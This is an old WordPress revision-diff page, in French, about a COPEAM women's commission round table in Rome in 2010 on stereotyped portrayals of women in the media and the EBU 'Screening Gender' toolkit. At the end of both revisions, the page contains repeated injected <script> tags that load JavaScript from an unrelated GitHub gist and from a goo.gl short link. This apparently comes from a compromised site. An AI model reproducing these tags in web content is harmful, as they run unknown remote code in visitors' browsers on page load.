You are viewing an old revision of this post, from January 6, 2011 @ 17:13:44. See below for differences between this version and the current revision.
Rome, 18 novembre 2010
La Commission Femmes de la COPEAM continue à s'engager en faveur d’une représentation correcte de la femme dans les médias, et notamment du toolkit « Screening Gender », en participant, entre autre, à des évènements nationaux et internationaux tels que la table ronde « Immagini di Donne sullo Schermo, Gender e Media rivisitati » organisée à l’Université La Sapienza de Rome, le 18 novembre dernier.
La rencontre était centrée sur le rôle des médias et de la recherche dans la représentation des genres, afin d’analyser l’évolution de l’image de la femme et l'influence de cette dernière sur l’imaginaire collectif.
Les études présentées ont montré que les médias de la région euro-méditerranéenne proposent une image de la femme souvent stéréotypée et ce, malgré les efforts de certaines organisations, associations et syndicats œuvrant autour de ces thématiques . Il ressort que plusieurs médias, notamment télévisés, ont tendance à réduire l’image de la femme à sa représentation physique et/ou limitée à des rôles secondaires (« mère de », « femme de », « victime » etc.).
L’une des raisons principales de cette représentation, mise en évidence par Loredana Cornero, présidente de la Commission Femmes, procède du manque de formation professionnelle/continue ciblée, en particulier dans les domaines techniques, représentant l’un des obstacles à la progression de carrière pour les femmes.
Le toolkit « Screening Gender », produit par l’UER et disponible également en italien, a ainsi été présenté comme un outil de formation pour les professionnelles du secteur audiovisuel aux techniques les plus efficaces pour produire une information équilibrée en matière d’égalité homme/femme. Le toolkit est composé d'un manuel et de nombreux exemples pratiques des principales erreurs commises par les journalistes dans la représentation des femmes et les meilleures solutions pour les éviter en termes de choix lexicaux et d’images à utiliser à l’écran.
Changes:
January 6, 2011 @ 17:13:44 | Current Revision | ||
---|---|---|---|
Title | |||
Une nouvelle image de la femme est possible | Femmes et Médias : A la recherche de nouvelles formes de représentation |
Content | |||
---|---|---|---|
<p> | <p> | ||
<em>Rome, 18 <span><span>novembre< /span></span> 2010</em></p> | Le but du <span data-scayt_word="Groupe" data-scaytid= "1">Groupe</span> de Travail “Femmes en <span data-scayt_word= "Méditerranéeâ€" data-scaytid= "2">Mé diterrané e”</span> de la <span data-scayt_word="COPEAM" data-scaytid= "3">COPEAM</span> <span data-scayt_word="est" data-scaytid= "4">est</span> <span data-scayt_word= "l’étude" data-scaytid= "5">l’étude</span> de la condition et <span data-scayt_word="dela" data-scaytid= "6">dela</span> <span data-scayt_word= "représentation" data-scaytid= "7">repré sentation</span> <span data-scayt_word= "féminine" data-scaytid= "8">fé minine</span> <span data-scayt_word="dans" data-scaytid= "9">dans</span> le milieu <span data-scayt_word= "audiovisuel" data-scaytid= "11">audiovisuel</span> de <span data-scayt_word= "l’espace" data-scaytid= "12">l’ espace</span> Euro-Med, <span data-scayt_word="ainsi" data-scaytid= "13">ainsi</span> <span data-scayt_word="que" data-scaytid= "14">que</span> <span data-scayt_word= "l’idéation" data-scaytid= "15">l’ idéation</span>, <span data-scayt_word= "réalisation" data-scaytid= "16">ré alisation</span> et promotion de <span data-scayt_word="projets" data-scaytid= "17">projets</span> <span data-scayt_word="visant" data-scaytid= "18">visant</span> <span data-scayt_word="à " data-scaytid= "19">à</span> <span data-scayt_word="fournir" data-scaytid= "20">fournir</span> des <span data-scayt_word="outils" data-scaytid= "21">outils</span> <span data-scayt_word="concrets" data-scaytid= "22">concrets</span> <span data-scayt_word= "d’émancipation" data-scaytid= "23">d’ émancipation</span>, <span data-scayt_word="notamment" data-scaytid= "24">notamment</span> <span data-scayt_word="dans" data-scaytid= "10">dans</span> <span data-scayt_word="ces" data-scaytid= "25">ces</span> <span data-scayt_word= "régions" data-scaytid= "26">ré gions</span> <span data-scayt_word= "particulièrement" data-scaytid= "27">particuliè rement</span> « <span data-scayt_word= "difficiles" data-scaytid= "28">difficiles</span> »</p> | ||
<p> | <p> | ||
La Commission Femmes de la <span>COPEAM</span> continue <span>à</span> <span>s'engager</span> en <span>faveur</span> <span>d’une</span> <span>repré sentation</span> <span>correcte</span> de la femme <span>dans</span> les <span>mé dias</span>, et <span>notamment</span> du toolkit « Screening Gender », en participant, <span>entre</span> <span>autre</span>, <span>à</span> des <span>é vènements</span> <span>nationaux</span> et <span>internationaux</span> <span>tels</span> <span>que</span> la table <span>ronde</span> « <span>Immagini</span> <span>di</span> Donne <span>sullo</span> <span>Schermo</span>, Gender e Media <span>rivisitati</span> » <span>organisée</span> <span>à</span> <span>l’ Université</span> La <span>Sapienza</span> de Rome, le 18 <span>novembre</span> dernier.<br /> | |||
<span style="font-size: 14px"><span style="color: rgb(0,100,0)"><strong>A LA </strong></span> </span><span style="font-size: 14px"><span style="color: rgb(0,100,0)" ><strong><span data-scayt_word="UNE" data-scaytid= "29">UNE</span></strong>< /span></span></p> | |||
<p> | |||
<img alt="" src="/userfiles/ image/ritsm.jpg" style="width: 242px; height: 180px; float: left;" />Les 15 et 16 <span data-scayt_word="juillet" data-scaytid= "92">juillet</span>, la <span data-scayt_word="COPEAM" data-scaytid= "59">COPEAM</span> a <span data-scayt_word= "organisé" data-scaytid= "94">organisé</span> <span data-scayt_word="à " data-scaytid= "60">à</span> Ljubljana le <span data-scayt_word= "troisième" data-scaytid= "96">troisième</span> <span data-scayt_word= "séminaire" data-scaytid= "97">sé minaire</span> <span data-scayt_word="sur" data-scaytid= "99">sur</span> <span data-scayt_word= "l’adaptation" data-scaytid= "101">l’ adaptation</span> des <span data-scayt_word= "Indicateurs" data-scaytid= "102">Indicateurs</span> des Genres pour les <span data-scayt_word="Médias" data-scaytid= "103">Médias</span> de <span data-scayt_word= "l’UNESCO" data-scaytid= "104">l’ UNESCO</span>. <span data-scayt_word="Ce" data-scaytid= "106">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "98">sé minaire</span> <span data-scayt_word= "s’inscrit" data-scaytid= "107">s’ inscrit</span> <span data-scayt_word="dans" data-scaytid= "61">dans</span> un plus ample <span data-scayt_word="projet" data-scaytid= "110">projet</span> <span data-scayt_word="promu" data-scaytid= "111">promu</span> par <span data-scayt_word= "l’UNESCO" data-scaytid= "105">l’ UNESCO</span> <span data-scayt_word="sur" data-scaytid= "100">sur</span> <span data-scayt_word= "l’intégration" data-scaytid= "112">l’inté gration</span> de la perspective des genres <span data-scayt_word="dans" data-scaytid= "62">dans</span> les <span data-scayt_word= "politiques" data-scaytid= "113">politiques</span> et les <span data-scayt_word="pratiques" data-scaytid= "114">pratiques</span> <span data-scayt_word= "professionnelles" data-scaytid= "115">professionnelles</span> des <span data-scayt_word="médias" data-scaytid= "116">mé dias</span>.<br /> | |||
Accueillie par la RTVSLO, la rencontre a impliqué une dizaine de professionnels provenant de différentes directions qui ont analysé, sélectionné et adapté les indicateurs les plus pertinents au contexte de leur organisme. Le séminaire à été ouvert par M. Marko Filli, Directeur Général du diffuseur slovène, et à été conduit par la COPEAM avec le support de Mme Živa Humer, chercheuse au Pace Institute.</p> | |||
<p> | |||
Au cours des deux jours de travail, les participants ont concordé une version adaptée des indicateurs et un plan d’action pour leur application, afin d’évaluer les politiques internes en matière d’é galité entre les genres. Cela permettra d’élaborer des recommandations visant à renforcer l’équilibre hommes-femmes dans les stratégies de la RTVSLO.</p> | |||
<p> | |||
Le <span data-scayt_word= "deuxième" data-scaytid= "143">deuxième</span> <span data-scayt_word= "séminaire" data-scaytid= "117">sé minaire</span> de <span data-scayt_word="cette" data-scaytid= "145">cette</span> <span data-scayt_word="série" data-scaytid= "146">série</span> a <span data-scayt_word="été" data-scaytid= "147">é té</span> <span data-scayt_word="accueilli" data-scaytid= "148">accueilli</span> par la <span data-scayt_word= "radiotélévision" data-scaytid= "149">radiotélé vision</span> <span data-scayt_word="publique" data-scaytid= "150">publique</span> <span data-scayt_word="albanaise" data-scaytid= "151">albanaise</span> – <span data-scayt_word="RTSH" data-scaytid= "152">RTSH</span>, en <span data-scayt_word="mai" data-scaytid= "153">mai</span> 2013.</p> | |||
<table border="1" cellpadding="1" cellspacing="1" height="93" width="576"> | |||
<tbody> | |||
<tr> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)" ><strong>LIENS UTILES</strong> </span></td> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)"><strong>LA COMMISSION FEMMES SOUTIENT</strong> </span></td> | |||
< | </tr> | ||
La <span>rencontre</span> <span>était</span> <span>centrée</span> <span>sur</span> le <span>rôle</span> des <span>médias</span> et de la <span>recherche</span> <span>dans</span> la <span>repré sentation</span> des genres, <span>afin</span> <span>d’ analyser</span> <span>l’ évolution</span> de <span>l’ image</span> de la femme et <span>l'influence</span> de <span>cette</span> <span>dernière</span> <span>sur</span> <span>l’ imaginaire</span> <span>collectif</span>.<br /> | |||
Les <span>é tudes</span> <span>pré sentées</span> <span>ont</span> <span>montré</span> <span>que</span> les <span>médias</span> de la <span>région</span> <span>euro-mé diterranéenne</span> <span>proposent</span> <span>une</span> image de la femme <span>souvent</span> <span>sté réotypée</span> et <span>ce</span>, <span>malgré</span> les efforts de <span>certaines</span> <span>organisations</span>, associations et <span>syndicats</span> <span>œ uvrant</span> <span>autour</span> de <span>ces</span> <span>thé matiques</span> . Il <span>ressort</span> <span>que</span> <span>plusieurs</span> <span>mé dias</span>, <span>notamment</span> <span>té lévisés</span>, <span>ont</span> <span>tendance</span> <span>à</span> <span>ré duire</span> <span>l’ image</span> de la femme <span>à</span> <span>sa</span> <span>repré sentation</span> physique et/<span>ou</span> <span>limitée</span> <span>à</span> des <span>rôles</span> <span>secondaires</span> (« <span>mère</span> de », « femme de », « <span>victime</span> » etc.).<br /> | |||
<br /> | |||
<span>L’une</span> des raisons <span>principales</span> de <span>cette</span> <span>repré sentation</span>, <span>mise</span> en <span>é vidence</span> par <span>Loredana</span> <span>Cornero</span>, <span>pré sidente</span> de la Commission Femmes, <span>procède</span> du <span>manque</span> de formation <span>professionnelle< /span>/continue <span>ciblée</span>, en <span>particulier</span> <span>dans</span> les <span>domaines</span> techniques, <span>repré sentant</span> <span>l’un</span> des obstacles <span>à</span> la progression de <span>carrière</span> pour les femmes.<br /> | |||
<br /> | |||
Le toolkit « Screening Gender », <span>produit</span> par <span>l’UER</span> et <span>disponible</span> <span>é galement</span> en <span>italien</span>, a <span>ainsi</span> <span>é té</span> <span>pré senté</span> <span>comme</span> un <span>outil</span> de formation pour les <span>professionnelles</span> du <span>secteur</span> <span>audiovisuel</span> aux techniques les plus <span>efficaces</span> pour <span>produire</span> <span>une</span> information <span>é quilibrée</span> en <span>matière</span> <span>d’ égalité</span> <span>homme</ span>/femme. Le toolkit <span>est</span> <span>composé</span> <span>d'un</span> <span>manuel</span> et de <span>nombreux</span> <span>exemples</span> <span>pratiques</span> des <span>principales</span> <span>erreurs</span> <span>commises</span> par les <span>journalistes</span> <span>dans</span> la <span>repré sentation</span> des femmes et les <span>meilleures</span> solutions pour les <span>é viter</span> en <span>termes</span> de <span>choix</span> <span>lexicaux</span> et <span>d’ images</span> <span>à</span> <span>utiliser</span> <span>à</span> <span>l’ écran</span>.</p> | |||
<tr> | |||
<td> | |||
<p> | |||
<a href="http:// fr-fr.facebook.com/ femmes.mediterraneennes" target="_blank"><img alt="" src="../../userfiles/ image/BannerFacebookEN.gif" style="width: 149px; height: 36px" /></a></p> | |||
</td> | |||
<td colspan="1" rowspan="2"> | |||
<p style="margin-left: 40px"> | |||
<a href="../../proj.aspx?ln= fr&id=34&p=103" style="color: rgb(0,0,255)"><img alt="" src="../../userfiles/ image/women_makethenews_sm.jpg" style="width: 71px; height: 49px" /></a><a href="http:// www.copeam.org/ proj.aspx?ln= fr&id=0& p=196"><span style="color: rgb(0,0,205)" ><u><strong>COPEAM for...Women make the news</strong> </u></span></a></p> | |||
</td> | |||
</tr> | |||
<tr> | |||
<td> | |||
<a href="http:// www.youtube.com/ user/MediaAndWomen" target="_blank"><img alt="" src="../../userfiles/ image/womengroup_ youtube.jpg" style="width: 146px; height: 43px" /></a></td> | |||
</tr> | |||
</tbody> | |||
</table> | |||
<p> | |||
<span id="1253701565586E" style="display: none"></span></p> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.